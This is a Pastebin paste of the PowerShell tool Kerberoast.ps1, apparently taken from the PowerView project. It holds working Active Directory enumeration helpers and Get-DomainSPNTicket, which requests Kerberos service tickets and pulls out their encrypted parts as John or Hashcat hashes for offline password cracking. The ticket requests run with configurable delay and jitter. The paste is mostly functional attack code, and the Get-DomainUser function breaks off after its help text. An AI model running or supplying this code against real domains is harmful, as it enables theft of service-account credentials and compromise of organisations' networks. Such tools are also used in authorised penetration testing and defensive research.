Advertisement
Guest User

Untitled

a guest
Apr 9th, 2018
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.88 KB | None | 0 0
  1. <#
  2.  
  3. Kerberoast.ps1
  4. Author: Will Schroeder (@harmj0y)
  5. License: BSD 3-Clause
  6. Required Dependencies: None
  7.  
  8. Note: the primary method of use will be Invoke-Kerberoast with
  9. various targeting options.
  10.  
  11. #>
  12.  
  13. function Get-DomainSearcher {
  14. <#
  15. .SYNOPSIS
  16. Helper used by various functions that builds a custom AD searcher object.
  17. Author: Will Schroeder (@harmj0y)
  18. License: BSD 3-Clause
  19. Required Dependencies: Get-Domain
  20. .DESCRIPTION
  21. Takes a given domain and a number of customizations and returns a
  22. System.DirectoryServices.DirectorySearcher object. This function is used
  23. heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
  24. .PARAMETER Domain
  25. Specifies the domain to use for the query, defaults to the current domain.
  26. .PARAMETER LDAPFilter
  27. Specifies an LDAP query string that is used to filter Active Directory objects.
  28. .PARAMETER Properties
  29. Specifies the properties of the output object to retrieve from the server.
  30. .PARAMETER SearchBase
  31. The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  32. Useful for OU queries.
  33. .PARAMETER SearchBasePrefix
  34. Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
  35. .PARAMETER Server
  36. Specifies an Active Directory server (domain controller) to bind to for the search.
  37. .PARAMETER SearchScope
  38. Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  39. .PARAMETER ResultPageSize
  40. Specifies the PageSize to set for the LDAP searcher object.
  41. .PARAMETER ResultPageSize
  42. Specifies the PageSize to set for the LDAP searcher object.
  43. .PARAMETER ServerTimeLimit
  44. Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  45. .PARAMETER SecurityMasks
  46. Specifies an option for examining security information of a directory object.
  47. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
  48. .PARAMETER Tombstone
  49. Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  50. .PARAMETER Credential
  51. A [Management.Automation.PSCredential] object of alternate credentials
  52. for connection to the target domain.
  53. .EXAMPLE
  54. Get-DomainSearcher -Domain testlab.local
  55. Return a searcher for all objects in testlab.local.
  56. .EXAMPLE
  57. Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
  58. Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
  59. .EXAMPLE
  60. Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
  61. Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
  62. .OUTPUTS
  63. System.DirectoryServices.DirectorySearcher
  64. #>
  65.  
  66. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  67. [OutputType('System.DirectoryServices.DirectorySearcher')]
  68. [CmdletBinding()]
  69. Param(
  70. [Parameter(ValueFromPipeline = $True)]
  71. [ValidateNotNullOrEmpty()]
  72. [String]
  73. $Domain,
  74.  
  75. [ValidateNotNullOrEmpty()]
  76. [Alias('Filter')]
  77. [String]
  78. $LDAPFilter,
  79.  
  80. [ValidateNotNullOrEmpty()]
  81. [String[]]
  82. $Properties,
  83.  
  84. [ValidateNotNullOrEmpty()]
  85. [Alias('ADSPath')]
  86. [String]
  87. $SearchBase,
  88.  
  89. [ValidateNotNullOrEmpty()]
  90. [String]
  91. $SearchBasePrefix,
  92.  
  93. [ValidateNotNullOrEmpty()]
  94. [Alias('DomainController')]
  95. [String]
  96. $Server,
  97.  
  98. [ValidateSet('Base', 'OneLevel', 'Subtree')]
  99. [String]
  100. $SearchScope = 'Subtree',
  101.  
  102. [ValidateRange(1, 10000)]
  103. [Int]
  104. $ResultPageSize = 200,
  105.  
  106. [ValidateRange(1, 10000)]
  107. [Int]
  108. $ServerTimeLimit = 120,
  109.  
  110. [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  111. [String]
  112. $SecurityMasks,
  113.  
  114. [Switch]
  115. $Tombstone,
  116.  
  117. [Management.Automation.PSCredential]
  118. [Management.Automation.CredentialAttribute()]
  119. $Credential = [Management.Automation.PSCredential]::Empty
  120. )
  121.  
  122. PROCESS {
  123. if ($PSBoundParameters['Domain']) {
  124. $TargetDomain = $Domain
  125. }
  126. else {
  127. # if not -Domain is specified, retrieve the current domain name
  128. if ($PSBoundParameters['Credential']) {
  129. $DomainObject = Get-Domain -Credential $Credential
  130. }
  131. else {
  132. $DomainObject = Get-Domain
  133. }
  134. $TargetDomain = $DomainObject.Name
  135. }
  136.  
  137. if (-not $PSBoundParameters['Server']) {
  138. # if there's not a specified server to bind to, try to pull the current domain PDC
  139. try {
  140. if ($DomainObject) {
  141. $BindServer = $DomainObject.PdcRoleOwner.Name
  142. }
  143. elseif ($PSBoundParameters['Credential']) {
  144. $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name
  145. }
  146. else {
  147. $BindServer = ((Get-Domain).PdcRoleOwner).Name
  148. }
  149. }
  150. catch {
  151. throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_"
  152. }
  153. }
  154. else {
  155. $BindServer = $Server
  156. }
  157.  
  158. $SearchString = 'LDAP://'
  159.  
  160. if ($BindServer -and ($BindServer.Trim() -ne '')) {
  161. $SearchString += $BindServer
  162. if ($TargetDomain) {
  163. $SearchString += '/'
  164. }
  165. }
  166.  
  167. if ($PSBoundParameters['SearchBasePrefix']) {
  168. $SearchString += $SearchBasePrefix + ','
  169. }
  170.  
  171. if ($PSBoundParameters['SearchBase']) {
  172. if ($SearchBase -Match '^GC://') {
  173. # if we're searching the global catalog, get the path in the right format
  174. $DN = $SearchBase.ToUpper().Trim('/')
  175. $SearchString = ''
  176. }
  177. else {
  178. if ($SearchBase -match '^LDAP://') {
  179. if ($SearchBase -match "LDAP://.+/.+") {
  180. $SearchString = ''
  181. $DN = $SearchBase
  182. }
  183. else {
  184. $DN = $SearchBase.SubString(7)
  185. }
  186. }
  187. else {
  188. $DN = $SearchBase
  189. }
  190. }
  191. }
  192. else {
  193. # transform the target domain name into a distinguishedName if an ADS search base is not specified
  194. if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
  195. $DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
  196. }
  197. }
  198.  
  199. $SearchString += $DN
  200. Write-Verbose "[Get-DomainSearcher] search string: $SearchString"
  201.  
  202. if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
  203. Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
  204. # bind to the inital search object using alternate credentials
  205. $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
  206. $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
  207. }
  208. else {
  209. # bind to the inital object using the current credentials
  210. $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
  211. }
  212.  
  213. $Searcher.PageSize = $ResultPageSize
  214. $Searcher.SearchScope = $SearchScope
  215. $Searcher.CacheResults = $False
  216. $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
  217.  
  218. if ($PSBoundParameters['ServerTimeLimit']) {
  219. $Searcher.ServerTimeLimit = $ServerTimeLimit
  220. }
  221.  
  222. if ($PSBoundParameters['Tombstone']) {
  223. $Searcher.Tombstone = $True
  224. }
  225.  
  226. if ($PSBoundParameters['LDAPFilter']) {
  227. $Searcher.filter = $LDAPFilter
  228. }
  229.  
  230. if ($PSBoundParameters['SecurityMasks']) {
  231. $Searcher.SecurityMasks = Switch ($SecurityMasks) {
  232. 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
  233. 'Group' { [System.DirectoryServices.SecurityMasks]::Group }
  234. 'None' { [System.DirectoryServices.SecurityMasks]::None }
  235. 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
  236. 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
  237. }
  238. }
  239.  
  240. if ($PSBoundParameters['Properties']) {
  241. # handle an array of properties to load w/ the possibility of comma-separated strings
  242. $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
  243. $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
  244. }
  245.  
  246. $Searcher
  247. }
  248. }
  249.  
  250.  
  251. function Convert-LDAPProperty {
  252. <#
  253. .SYNOPSIS
  254. Helper that converts specific LDAP property result fields and outputs
  255. a custom psobject.
  256. Author: Will Schroeder (@harmj0y)
  257. License: BSD 3-Clause
  258. Required Dependencies: None
  259. .DESCRIPTION
  260. Converts a set of raw LDAP properties results from ADSI/LDAP searches
  261. into a proper PSObject. Used by several of the Get-Domain* function.
  262. .PARAMETER Properties
  263. Properties object to extract out LDAP fields for display.
  264. .OUTPUTS
  265. System.Management.Automation.PSCustomObject
  266. A custom PSObject with LDAP hashtable properties translated.
  267. #>
  268.  
  269. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  270. [OutputType('System.Management.Automation.PSCustomObject')]
  271. [CmdletBinding()]
  272. Param(
  273. [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
  274. [ValidateNotNullOrEmpty()]
  275. $Properties
  276. )
  277.  
  278. $ObjectProperties = @{}
  279.  
  280. $Properties.PropertyNames | ForEach-Object {
  281. if ($_ -ne 'adspath') {
  282. if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
  283. # convert all listed sids (i.e. if multiple are listed in sidHistory)
  284. $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
  285. }
  286. elseif ($_ -eq 'grouptype') {
  287. $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
  288. }
  289. elseif ($_ -eq 'samaccounttype') {
  290. $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
  291. }
  292. elseif ($_ -eq 'objectguid') {
  293. # convert the GUID to a string
  294. $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
  295. }
  296. elseif ($_ -eq 'useraccountcontrol') {
  297. $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
  298. }
  299. elseif ($_ -eq 'ntsecuritydescriptor') {
  300. # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
  301. $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
  302. if ($Descriptor.Owner) {
  303. $ObjectProperties['Owner'] = $Descriptor.Owner
  304. }
  305. if ($Descriptor.Group) {
  306. $ObjectProperties['Group'] = $Descriptor.Group
  307. }
  308. if ($Descriptor.DiscretionaryAcl) {
  309. $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
  310. }
  311. if ($Descriptor.SystemAcl) {
  312. $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
  313. }
  314. }
  315. elseif ($_ -eq 'accountexpires') {
  316. if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
  317. $ObjectProperties[$_] = "NEVER"
  318. }
  319. else {
  320. $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
  321. }
  322. }
  323. elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
  324. # convert timestamps
  325. if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
  326. # if we have a System.__ComObject
  327. $Temp = $Properties[$_][0]
  328. [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
  329. [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
  330. $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
  331. }
  332. else {
  333. # otherwise just a string
  334. $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
  335. }
  336. }
  337. elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
  338. # try to convert misc com objects
  339. $Prop = $Properties[$_]
  340. try {
  341. $Temp = $Prop[$_][0]
  342. [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
  343. [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
  344. $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
  345. }
  346. catch {
  347. Write-Verbose "[Convert-LDAPProperty] error: $_"
  348. $ObjectProperties[$_] = $Prop[$_]
  349. }
  350. }
  351. elseif ($Properties[$_].count -eq 1) {
  352. $ObjectProperties[$_] = $Properties[$_][0]
  353. }
  354. else {
  355. $ObjectProperties[$_] = $Properties[$_]
  356. }
  357. }
  358. }
  359. try {
  360. New-Object -TypeName PSObject -Property $ObjectProperties
  361. }
  362. catch {
  363. Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
  364. }
  365. }
  366.  
  367.  
  368. function Get-Domain {
  369. <#
  370. .SYNOPSIS
  371. Returns the domain object for the current (or specified) domain.
  372. Author: Will Schroeder (@harmj0y)
  373. License: BSD 3-Clause
  374. Required Dependencies: None
  375. .DESCRIPTION
  376. Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
  377. domain or the domain specified with -Domain X.
  378. .PARAMETER Domain
  379. Specifies the domain name to query for, defaults to the current domain.
  380. .PARAMETER Credential
  381. A [Management.Automation.PSCredential] object of alternate credentials
  382. for connection to the target domain.
  383. .EXAMPLE
  384. Get-Domain -Domain testlab.local
  385. .EXAMPLE
  386. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  387. $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  388. Get-Domain -Credential $Cred
  389. .OUTPUTS
  390. System.DirectoryServices.ActiveDirectory.Domain
  391. A complex .NET domain object.
  392. .LINK
  393. http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
  394. #>
  395.  
  396. [OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
  397. [CmdletBinding()]
  398. Param(
  399. [Parameter(Position = 0, ValueFromPipeline = $True)]
  400. [ValidateNotNullOrEmpty()]
  401. [String]
  402. $Domain,
  403.  
  404. [Management.Automation.PSCredential]
  405. [Management.Automation.CredentialAttribute()]
  406. $Credential = [Management.Automation.PSCredential]::Empty
  407. )
  408.  
  409. PROCESS {
  410. if ($PSBoundParameters['Credential']) {
  411.  
  412. Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
  413.  
  414. if ($PSBoundParameters['Domain']) {
  415. $TargetDomain = $Domain
  416. }
  417. else {
  418. # if no domain is supplied, extract the logon domain from the PSCredential passed
  419. $TargetDomain = $Credential.GetNetworkCredential().Domain
  420. Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
  421. }
  422.  
  423. $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
  424.  
  425. try {
  426. [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
  427. }
  428. catch {
  429. Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
  430. }
  431. }
  432. elseif ($PSBoundParameters['Domain']) {
  433. $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
  434. try {
  435. [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
  436. }
  437. catch {
  438. Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
  439. }
  440. }
  441. else {
  442. try {
  443. [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
  444. }
  445. catch {
  446. Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
  447. }
  448. }
  449. }
  450. }
  451.  
  452.  
  453.  
  454. function Get-DomainSPNTicket {
  455. <#
  456. .SYNOPSIS
  457.  
  458. Request the kerberos ticket for a specified service principal name (SPN).
  459.  
  460. Author: machosec, Will Schroeder (@harmj0y)
  461. License: BSD 3-Clause
  462. Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
  463.  
  464. .DESCRIPTION
  465.  
  466. This function will either take one/more SPN strings, or one/more PowerView.User objects
  467. (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
  468. using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
  469. portion of the ticket is then extracted and output in either crackable John or Hashcat
  470. format (deafult of John).
  471.  
  472. .PARAMETER SPN
  473.  
  474. Specifies the service principal name to request the ticket for.
  475.  
  476. .PARAMETER User
  477.  
  478. Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
  479.  
  480. .PARAMETER OutputFormat
  481.  
  482. Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
  483. Defaults to 'John'.
  484.  
  485. .PARAMETER Credential
  486.  
  487. A [Management.Automation.PSCredential] object of alternate credentials
  488. for connection to the remote domain using Invoke-UserImpersonation.
  489.  
  490. .PARAMETER Delay
  491.  
  492. Specifies the delay in seconds between ticket requests.
  493.  
  494. .PARAMETER Jitter
  495.  
  496. Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
  497.  
  498. .EXAMPLE
  499.  
  500. Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
  501.  
  502. Request a kerberos service ticket for the specified SPN.
  503.  
  504. .EXAMPLE
  505.  
  506. "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
  507.  
  508. Request kerberos service tickets for all SPNs passed on the pipeline.
  509.  
  510. .EXAMPLE
  511.  
  512. Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
  513.  
  514. Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
  515.  
  516. .INPUTS
  517.  
  518. String
  519.  
  520. Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
  521.  
  522. .INPUTS
  523.  
  524. PowerView.User
  525.  
  526. Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
  527.  
  528. .OUTPUTS
  529.  
  530. PowerView.SPNTicket
  531.  
  532. Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
  533. #>
  534.  
  535. [OutputType('PowerView.SPNTicket')]
  536. [CmdletBinding(DefaultParameterSetName = 'RawSPN')]
  537. Param (
  538. [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
  539. [ValidatePattern('.*/.*')]
  540. [Alias('ServicePrincipalName')]
  541. [String[]]
  542. $SPN,
  543.  
  544. [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
  545. [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
  546. [Object[]]
  547. $User,
  548.  
  549. [ValidateSet('John', 'Hashcat')]
  550. [Alias('Format')]
  551. [String]
  552. $OutputFormat = 'John',
  553.  
  554. [ValidateRange(0,10000)]
  555. [Int]
  556. $Delay = 0,
  557.  
  558. [ValidateRange(0.0, 1.0)]
  559. [Double]
  560. $Jitter = .3,
  561.  
  562. [Management.Automation.PSCredential]
  563. [Management.Automation.CredentialAttribute()]
  564. $Credential = [Management.Automation.PSCredential]::Empty
  565. )
  566.  
  567. BEGIN {
  568. $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
  569.  
  570. if ($PSBoundParameters['Credential']) {
  571. $LogonToken = Invoke-UserImpersonation -Credential $Credential
  572. }
  573. }
  574.  
  575. PROCESS {
  576. if ($PSBoundParameters['User']) {
  577. $TargetObject = $User
  578. }
  579. else {
  580. $TargetObject = $SPN
  581. }
  582.  
  583. $RandNo = New-Object System.Random
  584.  
  585. ForEach ($Object in $TargetObject) {
  586.  
  587. if ($PSBoundParameters['User']) {
  588. $UserSPN = $Object.ServicePrincipalName
  589. $SamAccountName = $Object.SamAccountName
  590. $DistinguishedName = $Object.DistinguishedName
  591. }
  592. else {
  593. $UserSPN = $Object
  594. $SamAccountName = 'UNKNOWN'
  595. $DistinguishedName = 'UNKNOWN'
  596. }
  597.  
  598. # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
  599. if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
  600. $UserSPN = $UserSPN[0]
  601. }
  602.  
  603. try {
  604. $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
  605. }
  606. catch {
  607. Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
  608. }
  609. if ($Ticket) {
  610. $TicketByteStream = $Ticket.GetRequest()
  611. }
  612. if ($TicketByteStream) {
  613. $Out = New-Object PSObject
  614.  
  615. $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
  616.  
  617. # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
  618. # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
  619. if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
  620. $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
  621. $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
  622. $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
  623.  
  624. # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
  625. if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
  626. Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
  627. $Hash = $null
  628. $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
  629. } else {
  630. $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
  631. $Out | Add-Member Noteproperty 'TicketByteHexStream' $null
  632. }
  633. } else {
  634. Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
  635. $Hash = $null
  636. $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
  637. }
  638.  
  639. if($Hash) {
  640. if ($OutputFormat -match 'John') {
  641. $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
  642. }
  643. else {
  644. if ($DistinguishedName -ne 'UNKNOWN') {
  645. $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  646. }
  647. else {
  648. $UserDomain = 'UNKNOWN'
  649. }
  650.  
  651. # hashcat output format
  652. $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
  653. }
  654. $Out | Add-Member Noteproperty 'Hash' $HashFormat
  655. }
  656.  
  657. $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
  658. $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
  659. $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
  660. $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
  661. Write-Output $Out
  662. }
  663. # sleep for our semi-randomized interval
  664. Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
  665. }
  666. }
  667.  
  668. END {
  669. if ($LogonToken) {
  670. Invoke-RevertToSelf -TokenHandle $LogonToken
  671. }
  672. }
  673. }
  674.  
  675. function Get-DomainUser {
  676. <#
  677. .SYNOPSIS
  678. Return all users or specific user objects in AD.
  679. Author: Will Schroeder (@harmj0y)
  680. License: BSD 3-Clause
  681. Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
  682. .DESCRIPTION
  683. Builds a directory searcher object using Get-DomainSearcher, builds a custom
  684. LDAP filter based on targeting/filter parameters, and searches for all objects
  685. matching the criteria. To only return specific properties, use
  686. "-Properties samaccountname,usnchanged,...". By default, all user objects for
  687. the current domain are returned.
  688. .PARAMETER Identity
  689. A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
  690. SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
  691. Wildcards accepted. Also accepts DOMAIN\user format.
  692. .PARAMETER SPN
  693. Switch. Only return user objects with non-null service principal names.
  694. .PARAMETER UACFilter
  695. Dynamic parameter that accepts one or more values from $UACEnum, including
  696. "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
  697. .PARAMETER AdminCount
  698. Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
  699. .PARAMETER AllowDelegation
  700. Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
  701. .PARAMETER DisallowDelegation
  702. Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
  703. .PARAMETER TrustedToAuth
  704. Switch. Return computer objects that are trusted to authenticate for other principals.
  705. .PARAMETER PreauthNotRequired
  706. Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
  707. .PARAMETER Domain
  708. Specifies the domain to use for the query, defaults to the current domain.
  709. .PARAMETER LDAPFilter
  710. Specifies an LDAP query string that is used to filter Active Directory objects.
  711. .PARAMETER Properties
  712. Specifies the properties of the output object to retrieve from the server.
  713. .PARAMETER SearchBase
  714. The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  715. Useful for OU queries.
  716. .PARAMETER Server
  717. Specifies an Active Directory server (domain controller) to bind to.
  718. .PARAMETER SearchScope
  719. Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  720. .PARAMETER ResultPageSize
  721. Specifies the PageSize to set for the LDAP searcher object.
  722. .PARAMETER ServerTimeLimit
  723. Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  724. .PARAMETER SecurityMasks
  725. Specifies an option for examining security information of a directory object.
  726. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
  727. .PARAMETER Tombstone
  728. Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  729. .PARAMETER FindOne
  730. Only return one result object.
  731. .PARAMETER Credential
  732. A [Management.Automation.PSCredential] object of alternate credentials
  733. for connection to the target domain.
  734. .PARAMETER Raw
  735. Switch. Return raw results instead of translating the fields into a custom PSObject.
  736. .EXAMPLE
  737. Get-DomainUser -Domain testlab.local
  738. Return all users for the testlab.local domain
  739. .EXAMPLE
  740. Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
  741. Return the user with the given SID, as well as Administrator.
  742. .EXAMPLE
  743. 'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
  744. lastlogoff samaccountname
  745. ---------- --------------
  746. 12/31/1600 4:00:00 PM dfm.a
  747. 12/31/1600 4:00:00 PM dfm
  748. 12/31/1600 4:00:00 PM harmj0y
  749. 12/31/1600 4:00:00 PM Administrator
  750. .EXAMPLE
  751. Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
  752. Search the specified OU for privileged user (AdminCount = 1) that allow delegation
  753. .EXAMPLE
  754. Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
  755. Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
  756. .EXAMPLE
  757. Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
  758. Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
  759. .EXAMPLE
  760. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  761. $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  762. Get-DomainUser -Credential $Cred
  763. .EXAMPLE
  764. Get-Domain | Select-Object -Expand name
  765. testlab.local
  766. Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
  767. VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
  768. VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
  769. VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
  770. distinguishedname
  771. -----------------
  772. CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
  773. .INPUTS
  774. String
  775. .OUTPUTS
  776. PowerView.User
  777. Custom PSObject with translated user property fields.
  778. PowerView.User.Raw
  779. The raw DirectoryServices.SearchResult object, if -Raw is enabled.
  780. #>
